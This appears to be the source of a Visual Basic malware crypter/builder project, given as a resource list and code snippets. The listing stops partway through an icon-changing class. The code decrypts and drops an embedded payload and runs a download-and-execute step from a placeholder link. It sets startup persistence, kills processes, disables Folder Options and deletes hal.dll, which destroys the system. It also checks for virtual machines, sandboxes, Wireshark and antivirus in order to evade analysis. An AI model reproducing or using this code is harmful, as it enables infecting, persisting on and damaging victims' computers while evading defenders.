<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
|
||||
<data name="Add2StartUp" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Add2StartUp.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="Adxdiag" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Adxdiag.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="AESLoader" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\AESLoader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="AESRev" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\AESRev.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="ANotePad" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\ANotePad.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="AntisSub" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\AntisSub.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="APIs" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\APIs.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="Binder" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Binder.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="Downloader" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Downloader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="FolderOpt" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\FolderOpt.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="FunctionA" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\FunctionA.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="HalDLL" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\HalDLL.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="KFunction" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\KFunction.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="Killers" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Killers.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="Melt" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Melt.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="msconfig" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\msconfig.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="PolyDec" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\PolyDec.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="PolyRC4Loader" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\PolyRC4Loader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="PolyRC4Rev" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\PolyRC4Rev.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="PolyStairsLoader" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\PolyStairsLoader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="PolyStairsRev" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\PolyStairsRev.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="PolyXORLoader" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\PolyXORLoader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="PolyXORRev" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\PolyXORRev.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="RC4" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\RC4.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="RC4Loader" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\RC4Loader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="Regedit" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Regedit.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="ResetStub" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\ResetStub.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="Restart" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Restart.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="RijLoader" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\RijLoader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="RijndaelRev" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\RijndaelRev.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="RpE" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\RpE.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="StairsLoader" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\StairsLoader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="StairsRev" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\StairsRev.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="Stub" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Stub.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="TaskMSub" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\TaskMSub.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="TDESLoader" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\TDESLoader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="TDESRev" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\TDESRev.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="Websites" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Websites.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="XORLoader" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\XORLoader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="XORRev" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\XORRev.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="Invoke" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Invoke.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
</root>
|
||||
@@ -0,0 +1,73 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.1
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0"), _
|
||||
Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Partial Friend NotInheritable Class MySettings
|
||||
Inherits Global.System.Configuration.ApplicationSettingsBase
|
||||
|
||||
Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings)
|
||||
|
||||
#Region "My.Settings Auto-Save Functionality"
|
||||
#If _MyType = "WindowsForms" Then
|
||||
Private Shared addedHandler As Boolean
|
||||
|
||||
Private Shared addedHandlerLockObject As New Object
|
||||
|
||||
<Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs)
|
||||
If My.Application.SaveMySettingsOnExit Then
|
||||
My.Settings.Save()
|
||||
End If
|
||||
End Sub
|
||||
#End If
|
||||
#End Region
|
||||
|
||||
Public Shared ReadOnly Property [Default]() As MySettings
|
||||
Get
|
||||
|
||||
#If _MyType = "WindowsForms" Then
|
||||
If Not addedHandler Then
|
||||
SyncLock addedHandlerLockObject
|
||||
If Not addedHandler Then
|
||||
AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
|
||||
addedHandler = True
|
||||
End If
|
||||
End SyncLock
|
||||
End If
|
||||
#End If
|
||||
Return defaultInstance
|
||||
End Get
|
||||
End Property
|
||||
End Class
|
||||
End Namespace
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.Microsoft.VisualBasic.HideModuleNameAttribute(), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()> _
|
||||
Friend Module MySettingsProperty
|
||||
|
||||
<Global.System.ComponentModel.Design.HelpKeywordAttribute("My.Settings")> _
|
||||
Friend ReadOnly Property Settings() As Global.SCV6._0.My.MySettings
|
||||
Get
|
||||
Return Global.SCV6._0.My.MySettings.Default
|
||||
End Get
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,7 @@
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)" UseMySettingsClassName="true">
|
||||
<Profiles>
|
||||
<Profile Name="(Default)" />
|
||||
</Profiles>
|
||||
<Settings />
|
||||
</SettingsFile>
|
||||
@@ -0,0 +1,10 @@
|
||||
Dim N As String = System.Text.Encoding.Default.GetString(AD(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM")))))
|
||||
Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
If IO.File.Exists(I) Then
|
||||
IO.File.Delete(I)
|
||||
End If
|
||||
Try
|
||||
My.Computer.FileSystem.WriteAllBytes(I, AD(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I")))), False)
|
||||
Catch
|
||||
End Try
|
||||
LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {AD(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("F")))), I})
|
||||
@@ -0,0 +1,17 @@
|
||||
Shared Function AD(ByVal Y As Byte())
|
||||
Using A As New System.Security.Cryptography.RC2CryptoServiceProvider
|
||||
A.IV = New Byte() {Convert.ToInt32(1000, 2), Convert.ToInt32(111, 2), _
|
||||
Convert.ToInt32(110, 2), Convert.ToInt32(101, 2), _
|
||||
Convert.ToInt32(100, 2), Convert.ToInt32(11, 2), _
|
||||
Convert.ToInt32(10, 2), Convert.ToInt32(&H1, 2)}
|
||||
A.Key = New Byte() {Convert.ToInt32(&H0, 2), Convert.ToInt32(&H1, 2), _
|
||||
Convert.ToInt32(10, 2), Convert.ToInt32(11, 2), _
|
||||
Convert.ToInt32(100, 2), Convert.ToInt32(101, 2), _
|
||||
Convert.ToInt32(110, 2), Convert.ToInt32(111, 2), _
|
||||
Convert.ToInt32(1000, 2), Convert.ToInt32(1001, 2), _
|
||||
Convert.ToInt32(&H0, 2), Convert.ToInt32(&H1, 2), _
|
||||
Convert.ToInt32(10, 2), Convert.ToInt32(11, 2), _
|
||||
Convert.ToInt32(100, 2), Convert.ToInt32(101, 2)}
|
||||
Return A.CreateDecryptor.TransformFinalBlock(Y, Convert.ToInt32(&H0, 2), Y.Length)
|
||||
End Using
|
||||
End Function
|
||||
@@ -0,0 +1,3 @@
|
||||
Shared Sub F62()
|
||||
Killer("notepad")
|
||||
End Sub
|
||||
@@ -0,0 +1,11 @@
|
||||
Public Declare Function SetWindowLong Lib "user32.dll" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nindex As Long, ByVal dwnewlong As Long) As Long
|
||||
|Public Declare Function CallWindowProc Lib "user32.dll" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
|
||||
|Public Declare Function DefWindowProc Lib "user32.dll" Alias "DefWindowProcA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
|
||||
|Public Declare Function CloseHandle Lib "kernel32.dll" (ByVal hObject As Long) As Long
|
||||
|Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal blnheritHandle As Long, ByVal dwAppProcessId As Long) As Long
|
||||
|Declare Function CreateToolhelpSnapshot Lib "kernel32.dll" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
|
||||
|Declare Function TerminateProcess Lib "kernel32.dll" (ByVal ApphProcess As Long, ByVal uExitCode As Long) As Long
|
||||
|Private Declare Function EnumPorts Lib "winspool.drv" Alias "EnumPortsA" (ByVal pName As String, ByVal Level As Long, ByVal lpbPorts As Long, ByVal cbBuf As Long, ByVal pcbNeeded As Long, ByVal pcReturned As Long) As Long
|
||||
|Private Declare Function lstrlenW Lib "kernel32.dll" (ByVal lpString As Long) As Long
|
||||
|Private Declare Function HeapAlloc Lib "kernel32.dll" (ByVal hHeap As Long, ByVal dwFlags As Long, ByVal dwBytes As Long) As Long
|
||||
|Private Declare Function GetProcessHeap Lib "kernel32.dll" () As Long
|
||||
@@ -0,0 +1,12 @@
|
||||
Shared Sub PushStart()
|
||||
Dim xx As String = Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "\" & IO.Path.GetFileName(System.Windows.Forms.Application.ExecutablePath)
|
||||
While True
|
||||
Try
|
||||
If Not IO.File.Exists(xx) Then
|
||||
IO.File.Copy(System.Windows.Forms.Application.ExecutablePath, xx)
|
||||
End If
|
||||
Catch
|
||||
End Try
|
||||
System.Threading.Thread.Sleep(5000)
|
||||
End While
|
||||
End Sub
|
||||
@@ -0,0 +1,3 @@
|
||||
Shared Sub F63()
|
||||
Killer("dxdiag")
|
||||
End Sub
|
||||
@@ -0,0 +1,59 @@
|
||||
Shared Sub AT
|
||||
Dim id As String = "76487-337-8429955-22614"
|
||||
|
||||
Dim regPID As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows NT\CurrentVersion", False)
|
||||
|
||||
Dim pid As Object = regPID.GetValue("ProductId")
|
||||
|
||||
Dim D As Object, R As String = Nothing, B As String = "SELECT * FROM Win32_VideoController"
|
||||
|
||||
D = GetObject("winmgmts:").ExecQuery(B)
|
||||
|
||||
Dim AdaptList As Object
|
||||
|
||||
For Each AdaptList In D
|
||||
|
||||
R = AdaptList.Description
|
||||
|
||||
Next
|
||||
|
||||
If System.Windows.Forms.Application.ExecutablePath = System.Windows.Forms.Application.StartupPath & "\Sample.exe" Then
|
||||
|
||||
System.Threading.Thread.Sleep(10000)
|
||||
|
||||
End If
|
||||
|
||||
If pid = id Then
|
||||
|
||||
System.Threading.Thread.Sleep(10000)
|
||||
|
||||
End If
|
||||
|
||||
A("wireshark")
|
||||
|
||||
Select Case R
|
||||
|
||||
Case "VM Additions S3 Trio32/64"
|
||||
|
||||
System.Threading.Thread.Sleep(10000)
|
||||
|
||||
Case "VirtualBox Graphics Adapter"
|
||||
|
||||
System.Threading.Thread.Sleep(10000)
|
||||
|
||||
Case "VMware SVGA II"
|
||||
|
||||
System.Threading.Thread.Sleep(10000)
|
||||
|
||||
End Select
|
||||
|
||||
A("SbieSvc")
|
||||
|
||||
A("avp")
|
||||
|
||||
A("avgnt")
|
||||
|
||||
A("ashServ")
|
||||
|
||||
A("avgtray")
|
||||
End Sub
|
||||
@@ -0,0 +1,12 @@
|
||||
Dim filled() As String
|
||||
|
||||
Dim rand As New Random()
|
||||
|
||||
'FilledSplitting
|
||||
|
||||
Dim tpth As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\" & rand.Next(10000, 99999).ToString & filled(1)
|
||||
|
||||
My.Computer.FileSystem.WriteAllBytes(tpth, System.Text.Encoding.Default.GetBytes(filled(0)), False)
|
||||
|
||||
System.Diagnostics.Process.Start(tpth)
|
||||
|
||||
@@ -0,0 +1,6 @@
|
||||
Dim Expl As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\1" & IO.Path.GetFileName(System.Windows.Forms.Application.ExecutablePath)
|
||||
My.Computer.Network.DownloadFile($DownloadLink$, Expl)
|
||||
Do Until IO.File.Exists(Expl) = True
|
||||
System.Threading.Thread.Sleep(1000)
|
||||
Loop
|
||||
System.Diagnostics.Process.Start(Expl)
|
||||
@@ -0,0 +1,5 @@
|
||||
Try
|
||||
Dim regloc As String = "HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer"
|
||||
My.Computer.Registry.SetValue(regloc, "NoFolderOptions", "1", Microsoft.Win32.RegistryValueKind.DWord)
|
||||
Catch
|
||||
End Try
|
||||
@@ -0,0 +1,6 @@
|
||||
Public Shared Sub A(ByVal ProcessName As String)
|
||||
Dim proc As System.Diagnostics.Process() = System.Diagnostics.Process.GetProcesses
|
||||
If System.Diagnostics.Process.GetProcessesByName(ProcessName).Length >= 1 Then
|
||||
System.Threading.Thread.Sleep(10000)
|
||||
End If
|
||||
End Sub
|
||||
@@ -0,0 +1,4 @@
|
||||
Try
|
||||
IO.File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.System) & "\hal.dll")
|
||||
Catch
|
||||
End Try
|
||||
@@ -0,0 +1,151 @@
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
Option Infer On
|
||||
Imports System.Runtime.InteropServices
|
||||
Imports System.Security
|
||||
Public Class IconChanger
|
||||
<SuppressUnmanagedCodeSecurity()> _
|
||||
Private Class NativeMethods
|
||||
<DllImport("kernel32")> _
|
||||
Public Shared Function BeginUpdateResource( _
|
||||
ByVal fileName As String, _
|
||||
<MarshalAs(UnmanagedType.Bool)> ByVal deleteExistingResources As Boolean) As IntPtr
|
||||
End Function
|
||||
<DllImport("kernel32")> _
|
||||
Public Shared Function UpdateResource( _
|
||||
ByVal hUpdate As IntPtr, _
|
||||
ByVal type As IntPtr, _
|
||||
ByVal name As IntPtr, _
|
||||
ByVal language As Short, _
|
||||
<MarshalAs(UnmanagedType.LPArray, SizeParamIndex:=5)> _
|
||||
ByVal data() As Byte, _
|
||||
ByVal dataSize As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
|
||||
End Function
|
||||
<DllImport("kernel32")> _
|
||||
Public Shared Function EndUpdateResource( _
|
||||
ByVal hUpdate As IntPtr, _
|
||||
<MarshalAs(UnmanagedType.Bool)> ByVal discard As Boolean) As <MarshalAs(UnmanagedType.Bool)> Boolean
|
||||
End Function
|
||||
End Class
|
||||
<StructLayout(LayoutKind.Sequential)> _
|
||||
Private Structure ICONDIR
|
||||
Public Reserved As UShort
|
||||
Public Type As UShort
|
||||
Public Count As UShort
|
||||
End Structure
|
||||
<StructLayout(LayoutKind.Sequential)> _
|
||||
Private Structure ICONDIRENTRY
|
||||
Public Width As Byte
|
||||
Public Height As Byte
|
||||
Public ColorCount As Byte
|
||||
Public Reserved As Byte
|
||||
Public Planes As UShort
|
||||
Public BitCount As UShort
|
||||
Public BytesInRes As Integer
|
||||
Public ImageOffset As Integer
|
||||
End Structure
|
||||
<StructLayout(LayoutKind.Sequential)> _
|
||||
Private Structure BITMAPINFOHEADER
|
||||
Public Size As UInteger
|
||||
Public Width As Integer
|
||||
Public Height As Integer
|
||||
Public Planes As UShort
|
||||
Public BitCount As UShort
|
||||
Public Compression As UInteger
|
||||
Public SizeImage As UInteger
|
||||
Public XPelsPerMeter As Integer
|
||||
Public YPelsPerMeter As Integer
|
||||
Public ClrUsed As UInteger
|
||||
Public ClrImportant As UInteger
|
||||
End Structure
|
||||
<StructLayout(LayoutKind.Sequential, Pack:=2)> _
|
||||
Private Structure GRPICONDIRENTRY
|
||||
Public Width As Byte
|
